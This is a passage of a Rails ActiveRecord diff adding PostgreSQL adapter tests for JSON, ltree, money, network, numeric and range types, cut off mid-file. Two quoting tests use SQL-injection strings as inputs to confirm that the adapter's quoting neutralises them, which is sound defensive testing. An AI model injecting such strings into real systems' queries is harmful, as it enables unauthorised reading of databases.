+ def test_yaml_round_trip_with_store_accessors
+ x = JsonDataType.new(resolution: "320×480")
+ assert_equal "320×480", x.resolution
+
+ y = YAML.load(YAML.dump(x))
+ assert_equal "320×480", y.resolution
+ end
+
+ def test_changes_in_place
+ json = JsonDataType.new
+ assert_not json.changed?
+
+ json.payload = { 'one' => 'two' }
+ assert json.changed?
+ assert json.payload_changed?
+
+ json.save!
+ assert_not json.changed?
+
+ json.payload['three'] = 'four'
+ assert json.payload_changed?
+
+ json.save!
+ json.reload
+
+ assert_equal({ 'one' => 'two', 'three' => 'four' }, json.payload)
+ assert_not json.changed?
+ end
+end
+
+class PostgresqlJSONTest < ActiveRecord::TestCase
+ include PostgresqlJSONSharedTestCases
+
+ def column_type
+ :json
+ end
+end
+
+class PostgresqlJSONBTest < ActiveRecord::TestCase
+ include PostgresqlJSONSharedTestCases
+
+ def column_type
+ :jsonb
+ end
end
diff --git a/activerecord/test/cases/adapters/postgresql/ltree_test.rb b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
new file mode 100644
index 0000000000..5a0f505072
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
@@ -0,0 +1,53 @@
+# encoding: utf-8
+require "cases/helper"
+require 'support/schema_dumping_helper'
+
+class PostgresqlLtreeTest < ActiveRecord::TestCase
+ include SchemaDumpingHelper
+ class Ltree < ActiveRecord::Base
+ self.table_name = 'ltrees'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+
+ enable_extension!('ltree', @connection)
+
+ @connection.transaction do
+ @connection.create_table('ltrees') do |t|
+ t.ltree 'path'
+ end
+ end
+ rescue ActiveRecord::StatementInvalid
+ skip "do not test on PG without ltree"
+ end
+
+ teardown do
+ @connection.execute 'drop table if exists ltrees'
+ end
+
+ def test_column
+ column = Ltree.columns_hash['path']
+ assert_equal :ltree, column.type
+ assert_equal "ltree", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_write
+ ltree = Ltree.new(path: '1.2.3.4')
+ assert ltree.save!
+ end
+
+ def test_select
+ @connection.execute "insert into ltrees (path) VALUES ('1.2.3')"
+ ltree = Ltree.first
+ assert_equal '1.2.3', ltree.path
+ end
+
+ def test_schema_dump_with_shorthand
+ output = dump_table_schema("ltrees")
+ assert_match %r[t.ltree "path"], output
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/money_test.rb b/activerecord/test/cases/adapters/postgresql/money_test.rb
new file mode 100644
index 0000000000..87183174f2
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/money_test.rb
@@ -0,0 +1,96 @@
+# encoding: utf-8
+require "cases/helper"
+require 'support/schema_dumping_helper'
+
+class PostgresqlMoneyTest < ActiveRecord::TestCase
+ include SchemaDumpingHelper
+
+ class PostgresqlMoney < ActiveRecord::Base; end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.execute("set lc_monetary = 'C'")
+ @connection.create_table('postgresql_moneys') do |t|
+ t.column "wealth", "money"
+ t.column "depth", "money", default: "150.55"
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_moneys'
+ end
+
+ def test_column
+ column = PostgresqlMoney.columns_hash["wealth"]
+ assert_equal :money, column.type
+ assert_equal "money", column.sql_type
+ assert_equal 2, column.scale
+ assert column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_default
+ assert_equal BigDecimal.new("150.55"), PostgresqlMoney.column_defaults['depth']
+ assert_equal BigDecimal.new("150.55"), PostgresqlMoney.new.depth
+ end
+
+ def test_money_values
+ @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (1, '567.89'::money)")
+ @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (2, '-567.89'::money)")
+
+ first_money = PostgresqlMoney.find(1)
+ second_money = PostgresqlMoney.find(2)
+ assert_equal 567.89, first_money.wealth
+ assert_equal(-567.89, second_money.wealth)
+ end
+
+ def test_money_type_cast
+ column = PostgresqlMoney.columns_hash['wealth']
+ assert_equal(12345678.12, column.type_cast_from_user("$12,345,678.12"))
+ assert_equal(12345678.12, column.type_cast_from_user("$12.345.678,12"))
+ assert_equal(-1.15, column.type_cast_from_user("-$1.15"))
+ assert_equal(-2.25, column.type_cast_from_user("($2.25)"))
+ end
+
+ def test_schema_dumping
+ output = dump_table_schema("postgresql_moneys")
+ assert_match %r{t\.money\s+"wealth",\s+scale: 2$}, output
+ assert_match %r{t\.money\s+"depth",\s+scale: 2,\s+default: 150.55$}, output
+ end
+
+ def test_create_and_update_money
+ money = PostgresqlMoney.create(wealth: "987.65")
+ assert_equal 987.65, money.wealth
+
+ new_value = BigDecimal.new('123.45')
+ money.wealth = new_value
+ money.save!
+ money.reload
+ assert_equal new_value, money.wealth
+ end
+
+ def test_update_all_with_money_string
+ money = PostgresqlMoney.create!
+ PostgresqlMoney.update_all(wealth: "987.65")
+ money.reload
+
+ assert_equal 987.65, money.wealth
+ end
+
+ def test_update_all_with_money_big_decimal
+ money = PostgresqlMoney.create!
+ PostgresqlMoney.update_all(wealth: '123.45'.to_d)
+ money.reload
+
+ assert_equal 123.45, money.wealth
+ end
+
+ def test_update_all_with_money_numeric
+ money = PostgresqlMoney.create!
+ PostgresqlMoney.update_all(wealth: 123.45)
+ money.reload
+
+ assert_equal 123.45, money.wealth
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/network_test.rb b/activerecord/test/cases/adapters/postgresql/network_test.rb
new file mode 100644
index 0000000000..73e0fb5acd
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/network_test.rb
@@ -0,0 +1,92 @@
+# encoding: utf-8
+require "cases/helper"
+require 'support/schema_dumping_helper'
+
+class PostgresqlNetworkTest < ActiveRecord::TestCase
+ include SchemaDumpingHelper
+ class PostgresqlNetworkAddress < ActiveRecord::Base; end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table('postgresql_network_addresses') do |t|
+ t.inet 'inet_address', default: "192.168.1.1"
+ t.cidr 'cidr_address', default: "192.168.1.0/24"
+ t.macaddr 'mac_address', default: "ff:ff:ff:ff:ff:ff"
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_network_addresses'
+ end
+
+ def test_cidr_column
+ column = PostgresqlNetworkAddress.columns_hash["cidr_address"]
+ assert_equal :cidr, column.type
+ assert_equal "cidr", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_inet_column
+ column = PostgresqlNetworkAddress.columns_hash["inet_address"]
+ assert_equal :inet, column.type
+ assert_equal "inet", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_macaddr_column
+ column = PostgresqlNetworkAddress.columns_hash["mac_address"]
+ assert_equal :macaddr, column.type
+ assert_equal "macaddr", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_network_types
+ PostgresqlNetworkAddress.create(cidr_address: '192.168.0.0/24',
+ inet_address: '172.16.1.254/32',
+ mac_address: '01:23:45:67:89:0a')
+
+ address = PostgresqlNetworkAddress.first
+ assert_equal IPAddr.new('192.168.0.0/24'), address.cidr_address
+ assert_equal IPAddr.new('172.16.1.254'), address.inet_address
+ assert_equal '01:23:45:67:89:0a', address.mac_address
+
+ address.cidr_address = '10.1.2.3/32'
+ address.inet_address = '10.0.0.0/8'
+ address.mac_address = 'bc:de:f0:12:34:56'
+
+ address.save!
+ assert address.reload
+ assert_equal IPAddr.new('10.1.2.3/32'), address.cidr_address
+ assert_equal IPAddr.new('10.0.0.0/8'), address.inet_address
+ assert_equal 'bc:de:f0:12:34:56', address.mac_address
+ end
+
+ def test_invalid_network_address
+ invalid_address = PostgresqlNetworkAddress.new(cidr_address: 'invalid addr',
+ inet_address: 'invalid addr')
+ assert_nil invalid_address.cidr_address
+ assert_nil invalid_address.inet_address
+ assert_equal 'invalid addr', invalid_address.cidr_address_before_type_cast
+ assert_equal 'invalid addr', invalid_address.inet_address_before_type_cast
+ assert invalid_address.save
+
+ invalid_address.reload
+ assert_nil invalid_address.cidr_address
+ assert_nil invalid_address.inet_address
+ assert_nil invalid_address.cidr_address_before_type_cast
+ assert_nil invalid_address.inet_address_before_type_cast
+ end
+
+ def test_schema_dump_with_shorthand
+ output = dump_table_schema("postgresql_network_addresses")
+ assert_match %r{t.inet\s+"inet_address",\s+default: "192.168.1.1"}, output
+ assert_match %r{t.cidr\s+"cidr_address",\s+default: "192.168.1.0/24"}, output
+ assert_match %r{t.macaddr\s+"mac_address",\s+default: "ff:ff:ff:ff:ff:ff"}, output
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/numbers_test.rb b/activerecord/test/cases/adapters/postgresql/numbers_test.rb
new file mode 100644
index 0000000000..d90e9ccc66
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/numbers_test.rb
@@ -0,0 +1,49 @@
+require "cases/helper"
+
+class PostgresqlNumberTest < ActiveRecord::TestCase
+ class PostgresqlNumber < ActiveRecord::Base; end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table('postgresql_numbers') do |t|
+ t.column 'single', 'REAL'
+ t.column 'double', 'DOUBLE PRECISION'
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_numbers'
+ end
+
+ def test_data_type
+ assert_equal :float, PostgresqlNumber.columns_hash["single"].type
+ assert_equal :float, PostgresqlNumber.columns_hash["double"].type
+ end
+
+ def test_values
+ @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (1, 123.456, 123456.789)")
+ @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (2, '-Infinity', 'Infinity')")
+ @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (3, 123.456, 'NaN')")
+
+ first, second, third = PostgresqlNumber.find(1, 2, 3)
+
+ assert_equal 123.456, first.single
+ assert_equal 123456.789, first.double
+ assert_equal(-::Float::INFINITY, second.single)
+ assert_equal ::Float::INFINITY, second.double
+ assert_same ::Float::NAN, third.double
+ end
+
+ def test_update
+ record = PostgresqlNumber.create! single: "123.456", double: "123456.789"
+ new_single = 789.012
+ new_double = 789012.345
+ record.single = new_single
+ record.double = new_double
+ record.save!
+
+ record.reload
+ assert_equal new_single, record.single
+ assert_equal new_double, record.double
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
index 872204c644..c3c696b871 100644
--- a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
@@ -1,17 +1,41 @@
# encoding: utf-8
require "cases/helper"
+require 'support/ddl_helper'
+require 'support/connection_helper'
module ActiveRecord
module ConnectionAdapters
class PostgreSQLAdapterTest < ActiveRecord::TestCase
+ include DdlHelper
+ include ConnectionHelper
+
def setup
@connection = ActiveRecord::Base.connection
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(id serial primary key, number integer, data character varying(255))')
+ end
+
+ def test_bad_connection
+ assert_raise ActiveRecord::NoDatabaseError do
+ configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'should_not_exist-cinco-dog-db')
+ connection = ActiveRecord::Base.postgresql_connection(configuration)
+ connection.exec_query('SELECT 1')
+ end
+ end
+
+ def test_valid_column
+ with_example_table do
+ column = @connection.columns('ex').find { |col| col.name == 'id' }
+ assert @connection.valid_type?(column.type)
+ end
+ end
+
+ def test_invalid_column
+ assert_not @connection.valid_type?(:foobar)
end
def test_primary_key
- assert_equal 'id', @connection.primary_key('ex')
+ with_example_table do
+ assert_equal 'id', @connection.primary_key('ex')
+ end
end
def test_primary_key_works_tables_containing_capital_letters
@@ -19,15 +43,15 @@ module ActiveRecord
end
def test_non_standard_primary_key
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(data character varying(255) primary key)')
- assert_equal 'data', @connection.primary_key('ex')
+ with_example_table 'data character varying(255) primary key' do
+ assert_equal 'data', @connection.primary_key('ex')
+ end
end
def test_primary_key_returns_nil_for_no_pk
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(id integer)')
- assert_nil @connection.primary_key('ex')
+ with_example_table 'id integer' do
+ assert_nil @connection.primary_key('ex')
+ end
end
def test_primary_key_raises_error_if_table_not_found
@@ -37,20 +61,40 @@ module ActiveRecord
end
def test_insert_sql_with_proprietary_returning_clause
- id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number")
- assert_equal "5150", id
+ with_example_table do
+ id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number")
+ assert_equal "5150", id
+ end
end
def test_insert_sql_with_quoted_schema_and_table_name
- id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)')
- expect = @connection.query('select max(id) from ex').first.first
- assert_equal expect, id
+ with_example_table do
+ id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)')
+ expect = @connection.query('select max(id) from ex').first.first
+ assert_equal expect, id
+ end
end
def test_insert_sql_with_no_space_after_table_name
- id = @connection.insert_sql("insert into ex(number) values(5150)")
- expect = @connection.query('select max(id) from ex').first.first
- assert_equal expect, id
+ with_example_table do
+ id = @connection.insert_sql("insert into ex(number) values(5150)")
+ expect = @connection.query('select max(id) from ex').first.first
+ assert_equal expect, id
+ end
+ end
+
+ def test_multiline_insert_sql
+ with_example_table do
+ id = @connection.insert_sql(<<-SQL)
+ insert into ex(
+ number)
+ values(
+ 5152
+ )
+ SQL
+ expect = @connection.query('select max(id) from ex').first.first
+ assert_equal expect, id
+ end
end
def test_insert_sql_with_returning_disabled
@@ -90,10 +134,10 @@ module ActiveRecord
end
def test_default_sequence_name
- assert_equal 'accounts_id_seq',
+ assert_equal 'public.accounts_id_seq',
@connection.default_sequence_name('accounts', 'id')
- assert_equal 'accounts_id_seq',
+ assert_equal 'public.accounts_id_seq',
@connection.default_sequence_name('accounts')
end
@@ -106,53 +150,104 @@ module ActiveRecord
end
def test_pk_and_sequence_for
- pk, seq = @connection.pk_and_sequence_for('ex')
- assert_equal 'id', pk
- assert_equal @connection.default_sequence_name('ex', 'id'), seq
+ with_example_table do
+ pk, seq = @connection.pk_and_sequence_for('ex')
+ assert_equal 'id', pk
+ assert_equal @connection.default_sequence_name('ex', 'id'), seq.to_s
+ end
end
def test_pk_and_sequence_for_with_non_standard_primary_key
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(code serial primary key)')
- pk, seq = @connection.pk_and_sequence_for('ex')
- assert_equal 'code', pk
- assert_equal @connection.default_sequence_name('ex', 'code'), seq
+ with_example_table 'code serial primary key' do
+ pk, seq = @connection.pk_and_sequence_for('ex')
+ assert_equal 'code', pk
+ assert_equal @connection.default_sequence_name('ex', 'code'), seq.to_s
+ end
end
def test_pk_and_sequence_for_returns_nil_if_no_seq
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(id integer primary key)')
- assert_nil @connection.pk_and_sequence_for('ex')
+ with_example_table 'id integer primary key' do
+ assert_nil @connection.pk_and_sequence_for('ex')
+ end
end
def test_pk_and_sequence_for_returns_nil_if_no_pk
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query('create table ex(id integer)')
- assert_nil @connection.pk_and_sequence_for('ex')
+ with_example_table 'id integer' do
+ assert_nil @connection.pk_and_sequence_for('ex')
+ end
end
def test_pk_and_sequence_for_returns_nil_if_table_not_found
assert_nil @connection.pk_and_sequence_for('unobtainium')
end
+ def test_pk_and_sequence_for_with_collision_pg_class_oid
+ @connection.exec_query('create table ex(id serial primary key)')
+ @connection.exec_query('create table ex2(id serial primary key)')
+
+ correct_depend_record = [
+ "'pg_class'::regclass",
+ "'ex_id_seq'::regclass",
+ '0',
+ "'pg_class'::regclass",
+ "'ex'::regclass",
+ '1',
+ "'a'"
+ ]
+
+ collision_depend_record = [
+ "'pg_attrdef'::regclass",
+ "'ex2_id_seq'::regclass",
+ '0',
+ "'pg_class'::regclass",
+ "'ex'::regclass",
+ '1',
+ "'a'"
+ ]
+
+ @connection.exec_query(
+ "DELETE FROM pg_depend WHERE objid = 'ex_id_seq'::regclass AND refobjid = 'ex'::regclass AND deptype = 'a'"
+ )
+ @connection.exec_query(
+ "INSERT INTO pg_depend VALUES(#{collision_depend_record.join(',')})"
+ )
+ @connection.exec_query(
+ "INSERT INTO pg_depend VALUES(#{correct_depend_record.join(',')})"
+ )
+
+ seq = @connection.pk_and_sequence_for('ex').last
+ assert_equal PostgreSQL::Name.new("public", "ex_id_seq"), seq
+
+ @connection.exec_query(
+ "DELETE FROM pg_depend WHERE objid = 'ex2_id_seq'::regclass AND refobjid = 'ex'::regclass AND deptype = 'a'"
+ )
+ ensure
+ @connection.exec_query('DROP TABLE IF EXISTS ex')
+ @connection.exec_query('DROP TABLE IF EXISTS ex2')
+ end
+
def test_exec_insert_number
- insert(@connection, 'number' => 10)
+ with_example_table do
+ insert(@connection, 'number' => 10)
- result = @connection.exec_query('SELECT number FROM ex WHERE number = 10')
+ result = @connection.exec_query('SELECT number FROM ex WHERE number = 10')
- assert_equal 1, result.rows.length
- assert_equal "10", result.rows.last.last
+ assert_equal 1, result.rows.length
+ assert_equal "10", result.rows.last.last
+ end
end
def test_exec_insert_string
- str = 'ã„ãŸã ãã¾ã™ï¼'
- insert(@connection, 'number' => 10, 'data' => str)
+ with_example_table do
+ str = 'ã„ãŸã ãã¾ã™ï¼'
+ insert(@connection, 'number' => 10, 'data' => str)
- result = @connection.exec_query('SELECT number, data FROM ex WHERE number = 10')
+ result = @connection.exec_query('SELECT number, data FROM ex WHERE number = 10')
- value = result.rows.last.last
+ value = result.rows.last.last
- assert_equal str, value
+ assert_equal str, value
+ end
end
def test_table_alias_length
@@ -162,92 +257,176 @@ module ActiveRecord
end
def test_exec_no_binds
- result = @connection.exec_query('SELECT id, data FROM ex')
- assert_equal 0, result.rows.length
- assert_equal 2, result.columns.length
- assert_equal %w{ id data }, result.columns
-
- string = @connection.quote('foo')
- @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
- result = @connection.exec_query('SELECT id, data FROM ex')
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
-
- assert_equal [['1', 'foo']], result.rows
+ with_example_table do
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 0, result.rows.length
+ assert_equal 2, result.columns.length
+ assert_equal %w{ id data }, result.columns
+
+ string = @connection.quote('foo')
+ @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [['1', 'foo']], result.rows
+ end
end
def test_exec_with_binds
- string = @connection.quote('foo')
- @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
- result = @connection.exec_query(
- 'SELECT id, data FROM ex WHERE id = $1', nil, [[nil, 1]])
+ with_example_table do
+ string = @connection.quote('foo')
+ @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = $1', nil, [[nil, 1]])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [['1', 'foo']], result.rows
+ assert_equal [['1', 'foo']], result.rows
+ end
end
def test_exec_typecasts_bind_vals
- string = @connection.quote('foo')
- @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+ with_example_table do
+ string = @connection.quote('foo')
+ @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
- column = @connection.columns('ex').find { |col| col.name == 'id' }
- result = @connection.exec_query(
- 'SELECT id, data FROM ex WHERE id = $1', nil, [[column, '1-fuu']])
+ column = @connection.columns('ex').find { |col| col.name == 'id' }
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = $1', nil, [[column, '1-fuu']])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [['1', 'foo']], result.rows
+ assert_equal [['1', 'foo']], result.rows
+ end
end
def test_substitute_at
- bind = @connection.substitute_at(nil, 0)
- assert_equal Arel.sql('$1'), bind
-
- bind = @connection.substitute_at(nil, 1)
- assert_equal Arel.sql('$2'), bind
+ bind = @connection.substitute_at(nil)
+ assert_equal Arel.sql('$1'), bind.to_sql
end
def test_partial_index
- @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100"
- index = @connection.indexes('ex').find { |idx| idx.name == 'partial' }
- assert_equal "(number > 100)", index.where
+ with_example_table do
+ @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100"
+ index = @connection.indexes('ex').find { |idx| idx.name == 'partial' }
+ assert_equal "(number > 100)", index.where
+ end
end
- def test_distinct_zero_orders
- assert_equal "DISTINCT posts.id",
- @connection.distinct("posts.id", [])
+ def test_columns_for_distinct_zero_orders
+ assert_equal "posts.id",
+ @connection.columns_for_distinct("posts.id", [])
end
- def test_distinct_one_order
- assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
- @connection.distinct("posts.id", ["posts.created_at desc"])
+ def test_columns_for_distinct_one_order
+ assert_equal "posts.id, posts.created_at AS alias_0",
+ @connection.columns_for_distinct("posts.id", ["posts.created_at desc"])
end
- def test_distinct_few_orders
- assert_equal "DISTINCT posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
- @connection.distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
+ def test_columns_for_distinct_few_orders
+ assert_equal "posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
+ @connection.columns_for_distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
end
- def test_distinct_blank_not_nil_orders
- assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
- @connection.distinct("posts.id", ["posts.created_at desc", "", " "])
+ def test_columns_for_distinct_with_case
+ assert_equal(
+ 'posts.id, CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END AS alias_0',
+ @connection.columns_for_distinct('posts.id',
+ ["CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END"])
+ )
end
- def test_distinct_with_arel_order
+ def test_columns_for_distinct_blank_not_nil_orders
+ assert_equal "posts.id, posts.created_at AS alias_0",
+ @connection.columns_for_distinct("posts.id", ["posts.created_at desc", "", " "])
+ end
+
+ def test_columns_for_distinct_with_arel_order
order = Object.new
def order.to_sql
"posts.created_at desc"
end
- assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
- @connection.distinct("posts.id", [order])
+ assert_equal "posts.id, posts.created_at AS alias_0",
+ @connection.columns_for_distinct("posts.id", [order])
end
- def test_distinct_with_nulls
- assert_equal "DISTINCT posts.title, posts.updater_id AS alias_0", @connection.distinct("posts.title", ["posts.updater_id desc nulls first"])
- assert_equal "DISTINCT posts.title, posts.updater_id AS alias_0", @connection.distinct("posts.title", ["posts.updater_id desc nulls last"])
+ def test_columns_for_distinct_with_nulls
+ assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls first"])
+ assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls last"])
+ end
+
+ def test_columns_for_distinct_without_order_specifiers
+ assert_equal "posts.title, posts.updater_id AS alias_0",
+ @connection.columns_for_distinct("posts.title", ["posts.updater_id"])
+
+ assert_equal "posts.title, posts.updater_id AS alias_0",
+ @connection.columns_for_distinct("posts.title", ["posts.updater_id nulls last"])
+
+ assert_equal "posts.title, posts.updater_id AS alias_0",
+ @connection.columns_for_distinct("posts.title", ["posts.updater_id nulls first"])
+ end
+
+ def test_raise_error_when_cannot_translate_exception
+ assert_raise TypeError do
+ @connection.send(:log, nil) { @connection.execute(nil) }
+ end
+ end
+
+ def test_reload_type_map_for_newly_defined_types
+ @connection.execute "CREATE TYPE feeling AS ENUM ('good', 'bad')"
+ result = @connection.select_all "SELECT 'good'::feeling"
+ assert_instance_of(PostgreSQLAdapter::OID::Enum,
+ result.column_types["feeling"])
+ ensure
+ @connection.execute "DROP TYPE IF EXISTS feeling"
+ reset_connection
+ end
+
+ def test_only_reload_type_map_once_for_every_unknown_type
+ silence_warnings do
+ assert_queries 2, ignore_none: true do
+ @connection.select_all "SELECT NULL::anyelement"
+ end
+ assert_queries 1, ignore_none: true do
+ @connection.select_all "SELECT NULL::anyelement"
+ end
+ assert_queries 2, ignore_none: true do
+ @connection.select_all "SELECT NULL::anyarray"
+ end
+ end
+ ensure
+ reset_connection
+ end
+
+ def test_only_warn_on_first_encounter_of_unknown_oid
+ warning = capture(:stderr) {
+ @connection.select_all "SELECT NULL::anyelement"
+ @connection.select_all "SELECT NULL::anyelement"
+ @connection.select_all "SELECT NULL::anyelement"
+ }
+ assert_match(/\Aunknown OID \d+: failed to recognize type of 'anyelement'. It will be treated as String.\n\z/, warning)
+ ensure
+ reset_connection
+ end
+
+ def test_unparsed_defaults_are_at_least_set_when_saving
+ with_example_table "id SERIAL PRIMARY KEY, number INTEGER NOT NULL DEFAULT (4 + 4) * 2 / 4" do
+ number_klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'ex'
+ end
+ column = number_klass.columns_hash["number"]
+ assert_nil column.default
+ assert_nil column.default_function
+
+ first_number = number_klass.new
+ assert_nil first_number.number
+
+ first_number.save!
+ assert_equal 4, first_number.reload.number
+ end
end
private
@@ -265,6 +444,10 @@ module ActiveRecord
ctx.exec_insert(sql, 'SQL', binds)
end
+ def with_example_table(definition = 'id serial primary key, number integer, data character varying(255)', &block)
+ super(@connection, 'ex', definition, &block)
+ end
+
def connection_without_insert_returning
ActiveRecord::Base.postgresql_connection(ActiveRecord::Base.configurations['arunit'].merge(:insert_returning => false))
end
diff --git a/activerecord/test/cases/adapters/postgresql/quoting_test.rb b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
index 685f0ea74f..11d5173d37 100644
--- a/activerecord/test/cases/adapters/postgresql/quoting_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
@@ -10,40 +10,64 @@ module ActiveRecord
end
def test_type_cast_true
- c = Column.new(nil, 1, 'boolean')
+ c = PostgreSQLColumn.new(nil, 1, Type::Boolean.new, 'boolean')
assert_equal 't', @conn.type_cast(true, nil)
assert_equal 't', @conn.type_cast(true, c)
end
def test_type_cast_false
- c = Column.new(nil, 1, 'boolean')
+ c = PostgreSQLColumn.new(nil, 1, Type::Boolean.new, 'boolean')
assert_equal 'f', @conn.type_cast(false, nil)
assert_equal 'f', @conn.type_cast(false, c)
end
def test_type_cast_cidr
ip = IPAddr.new('255.0.0.0/8')
- c = Column.new(nil, ip, 'cidr')
+ c = PostgreSQLColumn.new(nil, ip, OID::Cidr.new, 'cidr')
assert_equal ip, @conn.type_cast(ip, c)
end
def test_type_cast_inet
ip = IPAddr.new('255.1.0.0/8')
- c = Column.new(nil, ip, 'inet')
+ c = PostgreSQLColumn.new(nil, ip, OID::Cidr.new, 'inet')
assert_equal ip, @conn.type_cast(ip, c)
end
def test_quote_float_nan
nan = 0.0/0
- c = Column.new(nil, 1, 'float')
+ c = PostgreSQLColumn.new(nil, 1, OID::Float.new, 'float')
assert_equal "'NaN'", @conn.quote(nan, c)
end
def test_quote_float_infinity
infinity = 1.0/0
- c = Column.new(nil, 1, 'float')
+ c = PostgreSQLColumn.new(nil, 1, OID::Float.new, 'float')
assert_equal "'Infinity'", @conn.quote(infinity, c)
end
+
+ def test_quote_cast_numeric
+ fixnum = 666
+ c = PostgreSQLColumn.new(nil, nil, Type::String.new, 'varchar')
+ assert_equal "'666'", @conn.quote(fixnum, c)
+ c = PostgreSQLColumn.new(nil, nil, Type::Text.new, 'text')
+ assert_equal "'666'", @conn.quote(fixnum, c)
+ end
+
+ def test_quote_time_usec
+ assert_equal "'1970-01-01 00:00:00.000000'", @conn.quote(Time.at(0))
+ assert_equal "'1970-01-01 00:00:00.000000'", @conn.quote(Time.at(0).to_datetime)
+ end
+
+ def test_quote_range
+ range = "1,2]'; SELECT * FROM users; --".."a"
+ c = PostgreSQLColumn.new(nil, nil, OID::Range.new(Type::Integer.new, :int8range))
+ assert_equal "'[1,0]'", @conn.quote(range, c)
+ end
+
+ def test_quote_bit_string
+ c = PostgreSQLColumn.new(nil, 1, OID::Bit.new)
+ assert_equal nil, @conn.quote("'); SELECT * FROM users; /*\n01\n*/--", c)
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/range_test.rb b/activerecord/test/cases/adapters/postgresql/range_test.rb
new file mode 100644
index 0000000000..d812cd01c4
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/range_test.rb
@@ -0,0 +1,323 @@
+require "cases/helper"
+require 'support/connection_helper'
+
+if ActiveRecord::Base.connection.supports_ranges?
+ class PostgresqlRange < ActiveRecord::Base
+ self.table_name = "postgresql_ranges"
+ end
+
+ class PostgresqlRangeTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+ include ConnectionHelper
+
+ def setup
+ @connection = PostgresqlRange.connection
+ begin
+ @connection.transaction do
+ @connection.execute <<_SQL
+ CREATE TYPE floatrange AS RANGE (
+ subtype = float8,
+ subtype_diff = float8mi
+ );
+_SQL
+
+ @connection.create_table('postgresql_ranges') do |t|
+ t.daterange :date_range
+ t.numrange :num_range
+ t.tsrange :ts_range
+ t.tstzrange :tstz_range
+ t.int4range :int4_range
+ t.int8range :int8_range
+ end
+
